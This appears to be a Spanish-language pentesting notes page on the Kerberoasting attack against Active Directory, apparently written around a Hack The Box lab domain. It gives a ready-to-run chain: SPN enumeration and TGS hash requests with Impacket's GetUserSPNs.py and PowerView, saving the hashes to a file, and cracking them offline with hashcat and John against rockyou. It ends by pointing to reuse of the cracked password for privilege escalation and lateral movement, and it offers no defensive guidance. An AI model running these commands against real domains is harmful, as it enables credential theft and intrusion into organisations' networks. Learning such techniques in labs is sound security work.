> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/docs/active-directory/kerberoasting-attack.md).

# Kerberoasting  Attack

## Introducción

**Kerberoasting** es una técnica de post-explotación en entornos Active Directory que permite a un atacante extraer hashes de contraseñas de cuentas de servicio asociadas a tickets Kerberos (TGS), para luego crackearlos offline y obtener credenciales en texto claro.

Este ataque explota el hecho de que los **tickets de servicio (TGS)** pueden solicitarse para cualquier cuenta con un **Service Principal Name (SPN)** registrado, y que estos tickets se cifran con la clave de la contraseña de esa cuenta. Si esa cuenta tiene una contraseña débil, el hash puede ser crackeado con herramientas como `hashcat` o `john`.

***

## Requisitos del ataque

Para ejecutar un ataque Kerberoasting con éxito, se necesitan:

* Acceso a una máquina dentro del dominio (usuario autenticado).
* Permisos para solicitar tickets TGS (los tiene cualquier usuario del dominio).
* Herramientas para extraer los tickets de la caché de Kerberos.
* Herramientas para crackear los hashes offline.

***

## Fundamento técnico

Cuando se solicita acceso a un servicio en Kerberos, se pide un **Ticket Granting Service (TGS)** para el SPN deseado. El TGS se cifra usando la clave derivada de la contraseña del servicio asociado al SPN. Esta es la clave que luego se intenta crackear offline.

La idea es:

1. Enumerar cuentas con SPN (servicios).
2. Solicitar TGS para esos SPNs.
3. Extraer los tickets del sistema.
4. Crackear el hash con diccionario o fuerza bruta.

***

## Enumeración de SPNs

Para listar cuentas con SPNs, puedes usar `GetUserSPNs.py` de Impacket:

```bash
GetUserSPNs.py -request htb.local/usuario:contraseña
```

Ejemplo de salida:

```
htb.local/svc_sqlsvc:88
  ServicePrincipalName: MSSQLSvc/sql.htb.local:1433
  Hash: $krb5tgs$23$...
```

El hash que aparece puede ser crackeado offline.

***

## Alternativas en PowerShell

En un entorno Windows con PowerView:

```powershell
Get-DomainUser -SPN | Get-DomainSPNTicket
```

Esto solicita automáticamente el TGS y lo guarda en formato compatible con cracking.

***

## Extracción del hash

Al usar Impacket:

```bash
GetUserSPNs.py -request htb.local/usuario:contraseña
```

Se generará una línea como esta:

```
$krb5tgs$23$*svc_sqlsvc$HTB.LOCAL$...
```

Puedes redirigirla a un archivo:

```bash
GetUserSPNs.py -request htb.local/usuario:contraseña > hashes.txt
```

***

## Crackeo del hash

### Con Hashcat

```bash
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --force
```

### Con John the Ripper

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

Una vez crackeada la contraseña, ya puedes reutilizarla para escalar privilegios o moverte lateralmente.
